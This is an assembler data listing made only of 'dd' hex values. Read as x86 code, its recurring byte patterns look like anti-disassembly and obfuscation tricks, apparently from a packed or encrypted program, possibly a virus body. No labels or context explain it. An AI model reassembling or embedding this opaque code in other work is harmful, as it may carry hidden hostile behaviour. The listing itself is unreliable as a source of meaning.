		dd 0C4A54AE9h, 683D291Dh, 45DB5FFh, 95FF0607h, 607213Dh
		dd 108E9h, 8000B000h, 0AE99AF7h, 3D000000h, 0A1672D0Ch
		dd 0D0210A55h, 0E470E64Dh, 0F613C71h, 0E883h, 758D8900h
		dd 0B06071Ch, 71A31BDh,	0C8B60F06h, 13E9h, 70712D00h, 3EE1E746h
		dd 65902C1h, 2FEEEB27h,	0B29E073Eh, 6BAh, 0F0806000h, 0C18B6122h
		dd 8104E8C1h, 0BC66D0DBh, 0E2F76655h, 18F59529h, 5E90607h
		dd 0B4000000h, 9EE0E601h, 0B70FC82Bh, 0F8D18BDEh, 8CE9h
		dd 0EF816600h, 0BF0FAD57h, 50858BDEh, 0B347554Ch, 7C08354h
		dd 0CE9h, 4F3B0A00h, 0E1ED7CC9h, 0B7FAEF44h, 0C083D6h
		dd 0FD03BFCh, 0D83h, 890F00h, 0E9000000h, 51h, 8D8BF98Bh
		dd 0FFFFFFFFh, 0FFB70F60h, 0AEEB8166h, 0E183611Bh, 36840F01h
		dd 89000000h, 73145BDh,	0FFA58306h, 0FEFFFFFFh,	89BD8Bh
		dd 95890607h, 47554C50h, 6880Fh, 0BD8B0000h, 6072F15h
		dd 6860Fh, 0B5890000h, 6073131h, 0E9h, 0BCB58D00h, 6A060B6Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0DD22C353h, 0F4511591h, 29006ADBh, 71B0D85h
		dd 0DD9D8B06h, 0FF060720h, 71B6995h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0FEB9C752h
		dd 6D850117h, 0B906070Dh, 0DF9h, 16959529h, 0E1830607h
		dd 0EDBD8BFCh, 0FC060705h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0BBC35545h, 80AD1DE0h, 5E962F8h, 58000000h
		dd 0DBB79594h, 6AC02Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0F585C0C3h, 8B66F5D3h, 0BADFh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 3CA8D1C3h, 0AD5A47FBh, 0E8D1C233h, 0E983D003h, 66F47504h
		dd 0D264DB81h, 1399BD31h, 9D890607h, 6072D05h, 880Dh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 385FDA43h, 356E2F1Eh, 1958B34h, 8906070Ah, 72FAD8Dh
		dd 0A58D8B06h, 50060714h, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 95896058h, 60717CDh, 19800Fh, 14E90000h
		dd 0B0000000h, 19E744Fh, 9C788CA8h, 71F74C06h, 790F133Ah
		dd 61D1555Eh, 0B011D781h, 0B5897E7Fh, 6071049h,	2FF9BD83h
		dd 0F000607h, 9F84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0A40182E3h, 0CB96FDAAh
		dd 71BF6692h, 25850141h, 0B8060733h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D5C35343h
		dd 2FF59D8Bh, 8D8D0607h, 6074B4Ah, 7B25BB66h, 6AE1FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0BB5C54C3h, 0BE91E9Eh, 0DD000000h, 0FFAD020Dh, 0D81B6857h
		dd 9E90DA8h, 0B0000000h, 0D8F1237Ah, 0F504B02Eh, 2FD5BD83h
		dd 0F000607h, 49084h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 42C89BB2h, 319D8B41h
		dd 83060718h, 72FD5BDh,	840F0106h, 478h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 0C0C35141h, 513411DCh
		dd 0BF66DA8Bh, 0BD8398E8h, 6072FD5h, 0F860F03h,	6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 89EBC357h, 70EB99Dh, 6A6006h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 6FF06EC3h
		dd 0BB6696B9h, 8B660F7Bh, 0D98C66FAh, 18A99529h, 0E1800607h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 2F33AECCh, 0EC99B16Dh, 0BD294976h, 6073131h
		dd 0B584ABBh, 0F88B660Eh, 840FC90Ah, 125h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B2C35747h, 1BF4111Ch
		dd 0F1858BF4h, 6A06070Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0B5CC356h, 71E059Dh
		dd 68BB6606h, 6985334Eh, 80060715h, 8B90E0F7h, 0BDBF50FEh
		dd 902B14B3h, 16459D8Bh, 6A0607h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 40C35747h, 91721D8Fh, 23E1B23Ch
		dd 0D5BD2926h, 68060731h, 0A060F8BCh, 481FA8Bh,	0BE0B4324h
		dd 53006A5Fh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 7DBFEE03h, 89328771h, 7329585h, 6195FF06h
		dd 0FC060705h, 0A2918589h, 6A060Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 909296C3h
		dd 9D8B304Dh, 6072379h,	1F7E9h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 3A8FF98h, 714799Dh
		dd 89858B06h, 89060AA2h, 7216D95h, 6D9D8B06h, 0C706070Ah
		dd 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 1E3DEF5Dh, 7FA9ECDAh, 60FA8B66h
		dd 30158D89h, 81660607h, 618F94CEh, 0A28DB58Bh,	8B66060Ah
		dd 7D858BFEh, 0BB06071Ch, 5C845997h, 6A0689h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C39D0FC3h
		dd 298AC43Ch, 0BF696C2Ch, 69AAAE52h, 0EF1858Bh,	6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0E64D16C3h, 0BACC11A4h, 33F24F9Eh, 714F59Dh,	4468906h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 40C35242h
		dd 285F4A2Bh, 0D9BD23F8h, 5006071Ch, 89DF8B66h,	95892434h
		dd 607115Dh, 0A289B5FFh, 6A060Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 2942A0C3h, 5CDD6FD4h
		dd 31F5B589h, 0BF0F0607h, 4E8F8h, 3FF0000h, 70BF001Fh
		dd 50658750h, 5E8h, 61A7E00h, 0BB667AA2h, 8B5FB3F3h, 8B042444h
		dd 51BF6600h, 244489C9h, 0D98B6604h, 91858D58h,	6A060AA2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0D94C357h, 666676D3h, 90AC42BFh, 26EBF66h
		dd 7153BF50h, 0E89006C8h, 11h, 0FA4C1BECh, 794EBF76h, 791BA74Fh
		dd 0A02550D2h, 0DEBF0FBFh, 6195FF5Fh, 6A060705h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 26B1C356h, 4AC524DBh, 6626EC29h, 19DAD381h, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0F885E62h, 1583h, 10E900h, 0F5D0000h, 325DF423h, 85D8EECAh
		dd 3DF8319Dh, 85C7EA61h, 6072FD5h, 3, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0EC35040h, 0BD89FB1Dh, 6071ADDh
		dd 0A291BD83h, 0F00060Ah, 1184h, 77BFFC00h, 0E913BFAFh
		dd 21h,	21C1B509h, 30500607h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 599D33C0h, 6A060718h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 72D6C351h, 76DD795Ch, 8008FF38h, 0BD83F8C3h,	6072FD5h
		dd 2E850F03h, 8B000004h, 91BD83FBh, 60AA2h, 41F840Fh, 0EE80000h
		dd 95000000h, 5739610Ah, 74BA82F2h, 2F7B02DBh, 13E945h
		dd 0C0A70000h, 0EF8CCD1Dh, 0D423AF92h, 57B0D7A9h, 442F54B3h
		dd 0BB665FADh, 0B5FF72FCh, 60AA291h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 72C35747h, 0FFF5009Ch, 7164195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 4C94A1C4h, 3214E11Dh, 0B1BBADFBh, 0F13EFD5h
		dd 82h,	85B58B00h, 6A060AA2h, 3E85700h,	20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0F87C357h, 0C7F9D8B7h
		dd 1000106h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 4227B701h, 6096DA8Bh, 66CE8B66h
		dd 5061D08Bh, 7E9h, 0AB764E00h,	41FF4786h, 55006A96h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 99303BE5h, 32FD9D8Bh, 0B5FF0607h, 60AA291h, 2E598589h
		dd 95FF0607h, 6071DE1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 12C35040h, 54D8E7F7h,	81FE8B66h, 0F89A54D3h
		dd 85B58B7Bh, 89060AA2h, 714E58Dh, 0A5858B06h, 6A060720h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0C911C355h, 136E255Eh, 0B70F67E3h, 8D9589DBh
		dd 89060730h, 0C486h, 89958900h, 8B06072Fh, 70A0195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 435AFC9Fh, 3A30C622h, 83F8B70Fh, 6A04C2h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 2FA141C3h
		dd 61EE85CBh, 9D8B2FB5h, 6073155h, 48E0Fh, 0BB660000h
		dd 12E93705h, 6C000000h, 2616538h, 59FE23B9h, 0A6509D0Ah
		dd 928DE23Ah, 20508935h, 858DDA8Bh, 60AB5BCh, 0CAD9589h
		dd 86890607h, 0B8h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 3C35545h, 8B0F126Fh, 6, 735BCB81h, 6A7F4Ch
		dd 6830Fh, 0D7810000h, 213D0E03h, 0A291B5FFh, 810F060Ah
		dd 6, 1ED9D89h,	95FF0607h
		dd 6070285h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	61C35646h, 6429B214h, 0DC8BEFFBh, 7E972h, 68C50000h
		dd 0EA505179h, 0ADB79688h, 7E850h, 0A4A70000h, 637F70C0h
		dd 2BF667Dh, 6A965B3Eh,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 45C6C355h, 0A291B5FFh
		dd 8166060Ah, 0FFE225EBh, 7115595h, 0DE806h, 0DD760000h
		dd 886F599Dh, 0BF9E6ACFh, 298D46E6h, 72E4985h, 0BD835B06h
		dd 60706DDh, 48840F00h,	66000000h, 967345BFh, 13E8h, 0CCEAAC00h
		dd 47CEA425h, 1A4D82F7h, 0B1E13073h, 814F8345h,	0BB56505Bh
		dd 57AD4FFDh, 6A965Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 3AA6AC3h, 0FF5EFB15h, 0AA291B5h
		dd 0C19D8B06h, 0FF060703h, 71BF195h, 14E906h, 4CC70000h
		dd 0BE3ACAC6h, 0DCB700BBh, 455CFEh, 9A60EBD1h, 0B5FF7A07h
		dd 60AA291h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	81C35141h, 0F595FFF5h, 8B06071Ah, 83D88BFAh, 719F5BDh
		dd 840F0206h, 23h, 19BD9D8Bh, 858B0607h, 6071A29h, 0C6DEB70Fh
		dd 810F0000h, 6, 18099D8Bh, 0C0BB0607h,	0C72C25E2h, 70D0985h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 1E934D45h, 9E851h, 3D6F0000h, 0FD7BE89Eh
		dd 5B255FFDh, 0F359E95Fh, 0D781FFFFh, 66C34C03h, 9D8BC18Bh
		dd 60711A9h, 2C61858Dh,	6A0607h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 5685C3C3h, 8D2914C4h
		dd 6072019h, 60525090h,	0F615E50h, 0DE8B6631h, 5150585Ah
		dd 9D2B905Fh, 607029Dh,	6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0B6713BC3h, 22D9D8Bh
		dd 6A0607h, 8DDFBF0Fh, 0BF63285h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0CB95C06Fh
		dd 1E4D9D8Bh, 67B30607h, 6005C083h, 0DD18533h, 66610607h
		dd 90ABFBBFh, 9E850h, 548D0000h, 976ACE91h, 0BB8D8ED2h
		dd 7D055A7Ah, 13E9905Bh, 3C000000h, 4D7A5221h, 16666D02h
		dd 0D833D1B8h, 0FE31EB50h, 6ABC5Fh, 13E8h, 82E38000h, 0FDAAA401h
		dd 0F392CB96h, 0B314B01Eh, 0C4A39163h, 5219D89h, 6A5B0607h
		dd 18B0F00h, 0FC000000h, 0FE8h,	3C422500h, 0E372C755h
		dd 0B9CAB34h, 510C011Ah, 16699D29h, 0FF5B0607h,	7133595h
		dd 0CDBD2306h, 66060712h, 3CC6E381h, 939D8D8Dh,	0D1FF060Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 21C35040h
		dd 5A803F06h, 0BD83178Fh, 60732B1h, 0C4850F01h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0D973C350h, 73C20427h, 95BD8B50h,	5B060707h
		dd 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0DFD7AEC3h, 569D882Dh, 168D0Fh, 0AE80000h
		dd 76000000h, 5A28A190h, 8602FCA7h, 0B59D8B08h,	5B060715h
		dd 24048950h, 0D3816660h, 9D89D314h, 6071C35h, 8595FF61h
		dd 6A060702h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 3584C353h, 4BD64502h, 0FFB300Dh
		dd 1A86h, 0EE800h, 0C4F20000h, 0AF493370h, 56720090h, 0E4E18D4Bh
		dd 21A99589h, 0E95F0607h, 0F2Ch, 0E8h, 0ED815D00h, 60BF63Ch
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F6C35646h
		dd 0FC62914h, 28Ah, 6A3EB700h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 258CC352h, 0BE9h, 0E301FB00h
		dd 0B4BB82CDh, 9EB5F692h, 8603858Dh, 6A060Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0A34B7CC3h
		dd 1D7CD906h, 0BB50F8D1h, 3BC7B620h, 8A240489h,	35FF64FCh
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0FBC35343h
		dd 759D2968h, 2906072Dh, 7165195h, 25896406h, 0
		dd 2C8985FFh, 9D8B0607h, 60720C1h, 0B70FFF6Ah, 49B5FFF8h
		dd 6A06071Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 17FEC355h, 9D8B47F9h, 6071FB5h
		dd 0C2CFBBBBh, 3D95FF56h, 0E9060721h, 11Ch, 0F19589h, 95890607h
		dd 6071AE5h, 815600B0h,	0BA3C69D3h, 0FE8B5B47h,	0D38170E6h
		dd 6385E6F6h, 8D8971E4h, 6072379h, 830F613Ch, 0ECh, 11D9B589h
		dd 0B60F0607h, 0F99D8BC8h, 0BA060711h, 6, 0C18BDCB7h, 0AE9h
		dd 892C7400h, 0D914668Bh, 0C1364F82h, 11E904E8h, 0E6000000h
		dd 0F2BBC015h, 0DE7CC47Eh, 12F4A230h, 0A17F9C7h, 56E2F766h
		dd 1011BD8Bh, 2B5B0607h, 7D9D8BC8h, 8B060720h, 5850FD1h
		dd 66000000h, 8DC6EB81h, 87E9h,	0DE800h, 0C4450000h, 3CBE553Dh
		dd 4C15DAB1h, 0F4B70ACh, 486h, 0BB6600h, 858B5F30h, 44004E49h
		dd 0D042BF66h, 13F5B589h, 0C0830607h, 3830F07h,	80000000h
		dd 0C0835DCBh, 2DBD3300h, 3B060717h, 0D830FD0h,	57000000h
		dd 20BB66h, 32E95Bh, 0DA8B0000h, 0FFFF8D8Bh, 0E183FFFFh
		dd 21840F01h, 89000000h, 7108D95h, 0FFA58306h, 0FEFFFFFFh
		dd 1E55BD23h, 95890607h, 44004E49h, 0E986E380h,	0
		dd 79B5B58Dh, 0CE9060Bh, 37000000h, 13F0622Ch, 9CC7FF9Dh
		dd 6AFFA547h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0C606BB64h, 95FF28CAh, 6071B69h
		dd 5850Fh, 81660000h, 0B90087CBh, 0E9Dh, 0FE953h, 2970000h
		dd 0E87CAEDFh, 4F2F2599h, 0FF569FDh, 0E1835F4Bh, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 9E5E9DBh, 4F58A120h,	8D0F270Ch, 4, 60EABF66h, 0ED9D0960h
		dd 66060717h, 61CBE2B9h, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0F747CEA4h, 731A4D82h
		dd 9589E130h, 6070F59h,	6AC02Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0CDBBC1C3h, 8BFE63EAh
		dd 71229BDh, 6AD22B06h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0EB3AC352h,	0D2343C93h
		dd 0A36D01DDh, 101D9D01h, 33AD0607h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 9670A1C3h, 0C398F420h, 6AD8B70Fh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 3480C351h, 4577D7F6h, 14E94009h, 0AF000000h,	6D4DA76h
		dd 0B98AC34h, 7FE40B16h, 7CC35D77h, 0F303C2Fh, 880DD8BFh
		dd 0F000000h, 958BF9BFh, 6070A01h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0C7C35040h,	34C53638h, 604396E5h
		dd 4D37BA66h, 0C2CBA1BBh, 0DE86105h, 7B000000h,	7F6036EDh
		dd 4DE87093h, 0A2ADF778h, 6820Fh, 800F0000h, 0
		dd 4BCF805Bh, 14A58D8Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 9FFE71C3h, 0BFD08095h
		dd 7BF80109h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 16D5AAC3h, 0BD83326Dh, 6072FF9h, 6A840F00h
		dd 0F000000h, 181h, 0B8F900h, 89000000h, 7158DBDh, 4A8D8D06h
		dd 6A06074Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 718CC351h, 4CC36D21h, 0D2181FE2h
		dd 123D8D89h, 0E1FF0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 8DC35545h, 89D023CBh,	71E5D9Dh, 0D5BD8306h
		dd 6072Fh, 536840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 6FF863C3h, 0D7F78271h
		dd 0D0D8D01h, 13E90607h, 8E000000h, 6203801h, 0DF051D08h
		dd 0F5BE6C8Bh, 4B37DCBEh, 0BD83AB9Ch, 6072FD5h,	4840F01h
		dd 6A000005h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0F67EC352h, 0E98FC029h, 10h, 370A1B02h
		dd 63D14819h, 0B69423EFh, 9A1317C8h, 2FD5BD83h,	0F030607h
		dd 48C86h, 95B58900h, 6006071Ch, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 1Dh, 45C35141h, 92C40451h, 3C12F3E6h
		dd 0D98C6685h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0CDC35747h, 0F9AB6022h,	6604E180h, 0ADD8FBBh, 0FC840FC9h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0BBEBC355h, 4A355553h,	0EF1858Bh
		dd 11E80607h, 3A000000h, 0CCA95BF0h, 9DB51B2h, 8A0CC40Eh
		dd 859F2E81h, 0F79B589h, 335F0607h, 7156985h, 0FDD8A06h
		dd 6690DAB7h, 5044EEBFh, 2990DA8Bh, 709DDB5h, 0E8006A06h
		dd 4, 1F03FFh, 50DA8B66h, 22870Fh, 8E80000h, 0F1000000h
		dd 0A7C3038h, 0E81DFB42h, 0Eh, 96582255h, 0EBAD7678h, 2B721FBCh
		dd 5B5B92DCh, 424448Bh,	162B83BBh, 0B3008B0Fh, 24448903h
		dd 0F98B5004h, 0B70F585Bh, 6195FFF8h, 6A060705h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0B80C352h, 6B55D81Eh, 9351CF6h, 72DAD8Dh, 800F5706h
		dd 4, 5F85BB66h, 64D7805Bh, 0A2918589h,	0E9FC060Ah, 29Ch
		dd 8BF88B66h, 0AA28985h, 8E906h, 3AC80000h, 0A32A73B4h
		dd 0C72C57h, 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	4AC35040h, 12E9B6DEh, 66000000h, 9D7D0D46h, 0E77FD4B9h
		dd 30B393D0h, 3798C8A1h, 8DB58B97h, 6A060AA2h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 734CC355h, 0BE8C2h, 92CB0000h, 14B01EF3h, 0A39163B3h
		dd 57D380C4h, 6800F5Fh,	9000000h, 70CF19Dh, 7D858B06h
		dd 6A06071Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 68D2C356h, 4A461CBBh, 35B58918h
		dd 8906072Ch, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 94113C9Eh, 8951F9FCh, 70CC99Dh, 0BF0F5F06h
		dd 10E8FFh, 0CD100000h,	98AA4E1h, 0D7F8FBBFh, 60405679h
		dd 8B602D99h, 7010185h,	61D6B606h, 0F1858B5Bh, 8906070Eh
		dd 705499Dh, 4468906h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 22C35343h, 110F9B47h,	0CEA78C85h, 12659589h
		dd 0F960607h, 381h, 0FB8B6600h,	0B5FF9650h, 60AA289h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A8C35141h, 1F52C444h
		dd 60FB8B48h, 2C98533h,	850F0607h, 0Eh,	9E9h, 5A44D600h
		dd 393F35FBh, 0F61A915h, 686h, 4DBD8900h, 0E806071Ah, 4
		dd 1F03FFh, 17820Fh, 8D0F0000h,	11h, 0CE9h, 0F8D12F00h
		dd 0E912AE5Dh, 6E36434Eh, 8E850DEh, 2B000000h, 0C7F511DFh
		dd 6094D052h, 0BF666160h, 5F61D454h, 424448Bh, 5051008Bh
		dd 0FA8B6652h, 5F50310Fh, 895B585Ah, 0E9042444h, 0Dh, 0FD2F43BDh
		dd 13D27A89h, 80557767h, 0BD315890h, 6070111h, 0A291858Dh
		dd 8B66060Ah, 0E85090DEh, 0Fh, 0B90A5D3Ch, 10CD1DBh, 2F7F4C0Eh
		dd 668F2539h, 905FD98Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 7BC35141h, 810F5018h,	0
		dd 6870F5Fh, 8B000000h,	713F99Dh, 3DDF8106h, 0FF1ECFE7h
		dd 7056195h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0CBA3FEADh, 0BD8BF5E9h, 607022Dh
		dd 0D585C761h, 306072Fh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0F96BC351h
		dd 63526033h, 0E9FAD526h, 8, 28E8A526h,	0D3D5E9EBh, 0BD83A1B3h
		dd 60AA291h, 4E840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1B40C351h
		dd 537A4070h, 0E9FA8B66h, 40h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 78C35747h, 9019AF08h, 0BF0FC4CAh
		dd 0C3050D9h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0EB1B589h, 0BF660607h, 9E973FBh,	2F000000h
		dd 863B23E4h, 5F6EB957h, 2FD5BD83h, 0F030607h, 44685h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0F31EF40Eh, 2169BD8Bh, 0BD830607h, 60AA291h
		dd 14840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 4DCAC352h, 0AB8BDCD2h
		dd 2E5D9D8Bh, 0B5FF0607h, 60AA291h, 0F619D23h, 95FF0607h
		dd 6071641h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0B8C35747h, 2C7A4B55h, 2A5EB497h, 6870Fh, 0BD290000h
		dd 6072819h, 4DEF8166h,	85B58BD0h, 0F060AA2h, 83h, 106C700h
		dd 66000100h, 0FBF2EB81h, 0D98B6650h, 89243489h, 731859Dh
		dd 91B5FF06h, 6A060AA2h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 33D9C351h, 6BDA6740h
		dd 4EFF4EADh, 1DE195FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 4EDFE2C3h, 0F728B4D9h
		dd 0A285B58Bh, 8166060Ah, 602C4DEFh, 8B615A50h,	720A585h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0F80EB566h, 0E9394770h, 0Dh, 137C6732h
		dd 6BA6B369h, 74199B69h, 5E86070h, 33000000h, 0F95A12B9h
		dd 6E9h, 24BE0D00h, 5EC2FDBEh, 45EA8166h, 86896156h, 0C4h
		dd 0A01958Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0F5786BC3h, 0FB8B6648h, 38D0Fh
		dd 8B660000h, 4C283DFh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0EBC35040h, 0B2BB6656h, 50895B64h, 7E85620h
		dd 0F7000000h, 0F8078817h, 840F1083h, 0
		dd 858D5F5Fh, 60AB5BCh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 2AC35040h, 89DE8B93h,	0B886h,	48A0F00h
		dd 66000000h, 6A5E84BBh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 444C4DF4h, 5CC4DE68h
		dd 8D295A0Bh, 6072091h,	7898D31h, 0B5FF0607h, 60AA291h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 9DC35242h
		dd 0D7F3A15Dh, 8595FFCAh, 81060702h, 87EC3FC7h,	0DA8B5028h
		dd 0E9243489h, 8, 73D6BD6Dh, 5FA3324Ch,	0A291B5FFh, 6A060Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 967E34C3h, 8DA3E816h, 65DBD8Bh, 95FF0607h, 6071155h
